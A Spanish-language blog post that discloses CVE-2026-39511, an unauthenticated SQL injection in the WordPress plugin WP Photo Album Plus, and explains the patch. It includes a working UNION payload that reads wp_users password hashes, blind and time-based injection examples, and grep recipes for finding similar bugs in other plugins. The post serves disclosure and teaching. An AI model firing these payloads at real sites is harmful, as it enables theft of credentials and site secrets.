Todos los posts
Encontrando CVEs en WordPress: CVE-2026-39511, inyección SQL en WP Photo Album Plus

Encontrando CVEs en WordPress: CVE-2026-39511, inyección SQL en WP Photo Album Plus

Esta entrada documentaCVE-2026-39511Ficha completa del CVE →

$wpdb->prepare() es la promesa de WordPress de gestionar el escapado de parámetros por ti. Le pasas valores en los placeholders, te devuelve una cadena SQL segura para ejecutar. La función está pensada para que no tengas que pensar en comillas. Le pasas input del usuario y te devuelve algo que la base de datos trata como dato, no como código.

Si envuelves el resultado en stripslashes(), esa promesa muere. Los caracteres de escapado que prepare() añadió son exactamente los que convierten una comilla del atacante en una comilla literal. Quítalos y has metido el payload tal cual dentro de la query.

Esa es la forma de CVE-2026-39511. WP Photo Album Plus es un plugin de galería de fotos para WordPress con unas 10.000 instalaciones activas. Dos de sus helpers de descifrado, wppa_decrypt_photo() y wppa_decrypt_album() en wppa-encrypt.php, llamaban a prepare() y deshacían su trabajo justo después. Cualquier visitante no autenticado con un parámetro album o photo en la petición que contuviera un punto podía convertir un SELECT en un UNION y leer cualquier columna de cualquier tabla. CVSS 9.3, scope cambiado (el bug cruza la frontera de confianza hasta wp_users), sin auth. Patchstack gestionó el reporte. El fabricante parcheó en 9.1.08.002.

Esta es la función vulnerable, copiada tal cual de la 9.1.08.001 en wppa-encrypt.php línea 142:

function wppa_decrypt_album( $album ) {
global $wpdb;

	// Assume single encrypted
	$result = wppa_get_var( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE crypt = %s", $album ) );
	if ( wppa_is_posint( $result ) ) {
		return $result;
	}

	// Check for enum
	if ( $album && strpos( $album, '.' ) !== false ) {
		$albums = str_replace( '.', "','", $album );
		$ids = wppa_get_col( stripslashes( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE crypt IN (%s)", $albums ) ) );
		if ( is_array( $ids ) ) {
			$result = implode( '.', $ids );
		}
		else {
			$result = false;
		}
		return $result;
	}
	...
}

El plugin usa listas separadas por puntos ("crypt1.crypt2.crypt3") para meter varios IDs de álbum en un solo parámetro de URL. La primera llamada a prepare(), en la rama de "single encrypted", está bien. Un valor, un %s, placeholder normal. El bug vive en la rama del enum, donde el desarrollador quería una cláusula IN ('a','b','c') y se la montó a mano.

Pasan tres cosas, en este orden:

  1. str_replace( '.', "','", $album ) convierte a.b.c en a','b','c. Eso es el contenido de un IN sin las comillas que lo envuelven.
  2. $wpdb->prepare( "... IN (%s)", $albums ) ve %s y trata $albums como un único valor string que escapar y citar. Cada ' dentro del string se convierte en \'. El resultado queda como ... IN ('a\',\'b\',\'c'). Como cláusula IN de SQL es incorrecto (un valor, no tres) pero el escapado está intacto.
  3. stripslashes() recorre la cadena SQL y borra cada barra invertida. Los escapados desaparecen. El string queda como ... IN ('a','b','c'). Tres valores, exactamente lo que el desarrollador buscaba.

La lógica del desarrollador es internamente coherente. "Prepare cita más de la cuenta para lo que quiero, así que deshago las citas." Lo que no vio es que ese mismo escapado es la única cosa que separa la base de datos del usuario.

Ahora le metes un payload con una comilla simple dentro.

GET /cualquier-pagina-publica/?album=x.y%27)%20UNION%20SELECT%20user_pass%20FROM%20wp_users--%20 HTTP/1.1
Host: target.com

El %27 decodifica a ' y el -- es un comentario de línea SQL con el espacio final que MySQL necesita para reconocerlo. Recorre los mismos tres pasos con esta entrada:

// Input
$album = "x.y') UNION SELECT user_pass FROM wp_users-- ";

// Paso 1: str_replace
$albums = "x','y') UNION SELECT user_pass FROM wp_users-- ";

// Paso 2: prepare (escapa las comillas simples, envuelve el valor en '...')
"SELECT id FROM wp_wppa_albums WHERE crypt IN ('x\\',\\'y\\') UNION SELECT user_pass FROM wp_users-- ')"

// Paso 3: stripslashes (quita las barras invertidas que prepare añadió)
"SELECT id FROM wp_wppa_albums WHERE crypt IN ('x','y') UNION SELECT user_pass FROM wp_users-- ')"

El -- comenta el ') final. La query hace union-select sobre wp_users. wppa_get_col() devuelve un array de valores, la función los une con puntos, el caller renderiza el resultado. Hashes de contraseñas en la respuesta.

La exfiltración basada en UNION es la demostración más limpia. Una vez la tienes, puedes pivotar a lo que quieras. Leer las claves secretas de wp_options. Leer tokens de API que guarden otros plugins. Leer los secretos de cada plugin instalado. La cláusula IN se ejecuta contra wp_wppa_albums pero el UNION puede leer de cualquier tabla a la que el usuario de la base de datos tenga acceso, que en una instalación WordPress por defecto es cada tabla del sitio.

Hay un segundo bug con la misma forma, en wppa_decrypt_photo() unas líneas más arriba:

if ( $photo && strpos( $photo, '.' ) !== false ) {
	$photos = str_replace( '.', "','", $photo );
	$ids = wppa_get_col( stripslashes( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE crypt IN (%s)", $ids ) ) );

Mira la segunda línea. Usa $ids, no $photos. Es una variable indefinida. PHP la convierte en string vacío, la query preparada queda como ... IN (''), no devuelve nada, no hay inyección SQL por este camino. El mismo patrón vulnerable con el nombre de la variable bien escrito sería explotable. La errata lo neutralizó por accidente. La rama del álbum era el exploit vivo. La rama de la foto era el mismo bug en versión silenciosa, desactivada por una errata desde el día que se escribió.

Los dos helpers son alcanzables desde wp_head. wppa-non-admin.php registra wppa_add_metatags() contra la action wp_head con prioridad 5, y esa función lee wppa_get('photo') y wppa_get('album') desde $_REQUEST en cada carga de página pública. Las dos pasan por el dispatcher de input en wppa-input.php:

case 'acrypt':
    return isset( $_REQUEST[$key] )
        ? wppa_decrypt_album( sanitize_text_field( wp_unslash( $_REQUEST[$key] ) ), ! is_admin() || $strict )
        : '0';

sanitize_text_field() quita caracteres de control y hace trim de espacios. No escapa SQL. Las comillas simples pasan tal cual. El input crudo del usuario llega a wppa_decrypt_album con los puntos intactos y las comillas intactas, y el baile roto de prepare-luego-strip produce SQL inyectable.

No hay nonce en ese camino. Nunca hay nonce en un helper de metadata enganchado a wp_head. El autor asumió que no había nada que vigilar porque el helper solo lee. Lo que llamó era el que tenía la inyección SQL.

El fix en 9.1.08.002 deja de intentar ser listo:

if ( $album && strpos( $album, '.' ) !== false ) {
	$cralbarr = explode( '.', $album );
	$ids = [];
	foreach( $cralbarr as $cra ) {
		$a = wppa_get_var( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE crypt = %s", $cra ) );
		if ( $a ) {
			$ids[] = $a;
		}
	}
	...
}

Partir el input por puntos. Ejecutar una sentencia preparada por elemento con crypt = %s. Recoger los resultados. Sin cláusula IN montada con strings, sin stripslashes. Cada elemento pasa por prepare() una vez y se queda escapado hasta llegar a la base de datos. Las N queries son más lentas que una sola, pero a la escala a la que se ejecuta esta función (un puñado de IDs en una URL), la diferencia es invisible. El changeset de 9.1.08.002 aplicó la misma forma a los dos helpers.

La lección general es pequeña pero duradera. $wpdb->prepare() devuelve SQL listo para ejecutar. Cualquier cosa que le hagas a esa cadena después es un retroceso. Buscar, reemplazar, modificar o borrar caracteres, todo eso potencialmente deshace la seguridad. Si te encuentras queriendo "limpiar" la salida de prepare(), has querido lo que no debías. Arregla el input o arregla la estructura de la query. No edites la salida del escapado.

Este patrón aparece en plugins de WordPress más de lo que debería. Siempre hay un desarrollador que sabe que prepare() es la herramienta correcta, la usa en los casos simples, se topa con la cláusula IN () y tira de concatenación de strings. WordPress solo añadió soporte para arrays en placeholders %s en la 6.2, así que antes de eso las listas IN montadas a mano eran lo normal y toda la clase de bugs prepare-luego-stripslashes era común. Plugins escritos antes de la 6.2 y que nadie ha refactorizado siguen llevando esta forma.

La otra lente es más amplia. Cualquier función que envuelve una primitiva de seguridad en otra transformación merece una lectura tranquila. stripslashes() alrededor de prepare(). html_entity_decode() alrededor de esc_html(). urldecode() alrededor de un check de allowlist. base64_decode() de un valor antes de validarlo. El patrón es universal. Una primitiva hace su trabajo. Después código posterior, a menudo de otro desarrollador, trata la salida de la primitiva como algo que aún necesita trabajo y la "arregla". Cada "arreglo" es un agujero.

Ahora la parte que importa si estás empezando. ¿Cómo encuentras esto tú?

La forma prepare-luego-stripslashes de este CVE es real pero no es la inyección SQL más común en plugins de WordPress. Es una cara de una superficie más amplia. Los patrones de abajo son los que realmente busco con grep cuando abro un plugin a buscar SQLi, ordenados más o menos por rendimiento que por la frecuencia con la que aparece el anti-patrón concreto de este CVE.

# 1. Concatenación directa de strings en queries (el patrón de cabecera)
grep -rnE '\$wpdb->(get_var|get_col|get_row|get_results|query)\(\s*"[^"]*\$' wp-content/plugins/target/
grep -rnE '\$wpdb->(get_var|get_col|get_row|get_results|query)\(\s*sprintf' wp-content/plugins/target/

# 2. prepare() llamado y descartado (se ejecuta el string crudo en su lugar)
grep -rn 'prepare(' wp-content/plugins/target/ | grep -v '\$wpdb->\(query\|get_'

# 3. La forma de CVE-2026-39511 (prepare envuelto en otra función)
grep -rn 'stripslashes( $wpdb->prepare' wp-content/plugins/target/
grep -rn 'preg_replace.*\$wpdb->prepare' wp-content/plugins/target/
grep -rn 'str_replace.*\$wpdb->prepare' wp-content/plugins/target/

# 4. esc_sql() en lugar de prepare() (fácil de mal usar)
grep -rn 'esc_sql' wp-content/plugins/target/

# 5. Identificadores (ORDER BY, GROUP BY, nombres de columna) desde input del usuario
grep -rnE 'ORDER BY \$|GROUP BY \$|FROM \$' wp-content/plugins/target/
grep -rnE '\$orderby|\$order_by|\$sortby|\$column' wp-content/plugins/target/

# 6. LIMIT y dirección desde input del usuario
grep -rnE 'LIMIT \$' wp-content/plugins/target/
grep -rnE '(ASC|DESC).*\$|\$.*(ASC|DESC)' wp-content/plugins/target/

# 7. Cláusulas IN montadas a mano (workarounds pre-WP-6.2, a veces seguros, a veces no)
grep -rn 'IN (%s)' wp-content/plugins/target/
grep -rn 'implode.*\$wpdb' wp-content/plugins/target/

# 8. $wpdb->prefix con input del usuario como parte de un nombre de tabla
grep -rnE '"\$wpdb->[a-z_]+\b\$' wp-content/plugins/target/
grep -rnE '\$wpdb->prefix\s*\.\s*\$' wp-content/plugins/target/

Cada patrón es un olor distinto. Guía rápida para triar los hits:

Patrón 1 es el grep con más rendimiento de todo el ecosistema de plugins. Si la variable interpolada vino de $_REQUEST y nunca tocó prepare() ni esc_sql(), el bug es real. El payload es la cadena quote-break-comment que encaje con el tipo de la columna.

Patrón 2 caza un fallo concreto del desarrollador: se llama a $wpdb->prepare(...), se ignora el valor de retorno y se ejecuta el string concatenado original contra la base de datos. Localiza la llamada de ejecución que rodea al hit. Si el string ejecutado es la query cruda y no la preparada, la llamada a prepare es decorativa.

Patrón 3 es raro pero de alta confianza cuando aparece. Plugins pre-WP-6.2 con workarounds caseros para cláusulas IN. La forma exacta de CVE-2026-39511.

Patrón 4 necesita contexto. esc_sql() solo escapa contenido string para uso dentro de comillas. No cita, no parametriza, no maneja enteros ni identificadores. Si el valor escapado está dentro de comillas SQL, regular tirando a bien. Si el valor se interpola desnudo en una posición numérica o en un slot de identificador, el escapado es un placebo.

Patrones 5 y 6 son sobre lo que prepare() no puede hacer. No hay placeholder para nombres de tabla, nombres de columna, columnas de ORDER BY o dirección de orden. Los desarrolladores que intentan parametrizar un identificador con %s acaban con el nombre de columna envuelto en comillas simples, lo que rompe la query, así que vuelven a la concatenación de strings. La defensa correcta es un allowlist (if ( ! in_array( $col, [ 'id', 'date', 'title' ], true ) ) $col = 'id';) antes de interpolar. Si falta el allowlist, el bug es real. Es uno de los greps con más rendimiento en cualquier plugin que exponga controles de "ordenar por", "filtrar por" o paginación.

Patrón 7 encuentra workarounds de IN tanto seguros como inseguros. Mapear el array a enteros con intval() es seguro. implode( "','", array_map( 'esc_sql', $arr ) ) está en zona gris (escapa contenido string pero asume comillas SQL alrededor del resultado). La forma stripslashes( prepare(...) ) de CVE-2026-39511 es la insegura. WP 6.2 añadió la sintaxis de cuenta %...s ($wpdb->prepare( "... IN (%...s)", $arr )) y eso es lo que el código actual debería usar. Cualquier otra cosa en un plugin escrito después de 2023 es un olor de código.

Patrón 8 importa sobre todo en plugins multisite. $wpdb->prefix por sí solo es fijo pero los identificadores tipo wp_{$blog_id}_options a veces sacan $blog_id de $_REQUEST sin validación. prepare() no puede citar nombres de tabla así que el bug aparece como inyección de identificador.

Una vez tienes hits de cualquiera de estos greps, aplica el mismo rastreo. Sigue la variable hacia atrás hasta su origen. El bug es real si el valor llegó a la query a través de $_REQUEST, $_GET, $_POST, $_COOKIE o cualquier cabecera, y no se parametrizó con prepare() y el tipo de placeholder correcto. El bug no es real si la variable está hardcodeada, si se valida contra un allowlist, si se castea a entero y se usa como número o si pasó por prepare() con %d para enteros y %s para strings entre comillas. sanitize_text_field() no escapa SQL. esc_attr() es para contexto de atributo HTML. esc_url_raw() es para URLs. Ninguna de esas neutraliza sintaxis SQL.

Para confirmar, tu payload depende del contexto SQL. Placeholders numéricos sin comillas aceptan algo tipo 1 OR 1=1. Placeholders de string sin escapado aceptan una cadena de quote-break-comment como la de arriba. Cláusulas IN montadas con el baile roto de stripslashes aceptan una forma x.y') UNION SELECT ...-- . WP Photo Album Plus era el tercero. La inyección de identificador (ORDER BY $col) acepta una forma a ciegas tipo (CASE WHEN (SELECT user_pass FROM wp_users LIMIT 1) LIKE 'a%' THEN id ELSE name END) porque no hay string del que escapar. La inyección a ciegas basada en tiempo (SLEEP(5) en el payload, miras el tiempo de respuesta) es la confirmación segura cuando la respuesta no muestra los datos. La confirmación basada en UNION funciona cuando la función devuelve el array directo al caller, como pasa aquí.

Para el reporte, este lo elegí por Patchstack. Patchstack y Wordfence revisan los reports de vulnerabilidades de plugins WordPress, gestionan la coordinación con el fabricante y emiten el CVE. WP Photo Album Plus está dentro del scope de los dos programas y tiene avisos históricos de cada uno. Elegir uno u otro en un reporte concreto es una decisión de criterio: tiempo de respuesta, recompensa, relación previa con el fabricante, las reglas que cada programa esté usando ese mes. Lee las reglas actuales de cada programa antes de enviar y elige por ese motivo, no asumiendo que solo uno aceptará el plugin.

Cronología de CVE-2026-39511. 17 de febrero, vulnerabilidad descubierta, reportada a Patchstack ese mismo día. 13 de abril, CVE publicado y parche distribuido en 9.1.08.002. Ocho semanas de punta a punta, sin contacto directo con el fabricante por mi parte.

Los dos writeups de CVE anteriores fueron un IDOR y un XSS almacenado. Este redondea el trío de clases de bugs en plugins de WordPress que vas a encontrar más a menudo si pasas tiempo en este área: comprobaciones de propiedad ausentes, escapado de salida ausente, parametrización de input ausente. Tres clases, decenas de variantes, cientos de plugins que aún las llevan. Elige un objetivo, lanza los greps, lee los handlers.

¿Quieres que encuentre esto en tu aplicación, o aprender a encontrarlo tú?

Solicitar un pentestReservar mentoría
← AnteriorLos primeros treinta minutos con una API nuevaSiguiente →Encontrando CVEs en WordPress: CVE-2026-39534, autorización ausente en WP Directory Kit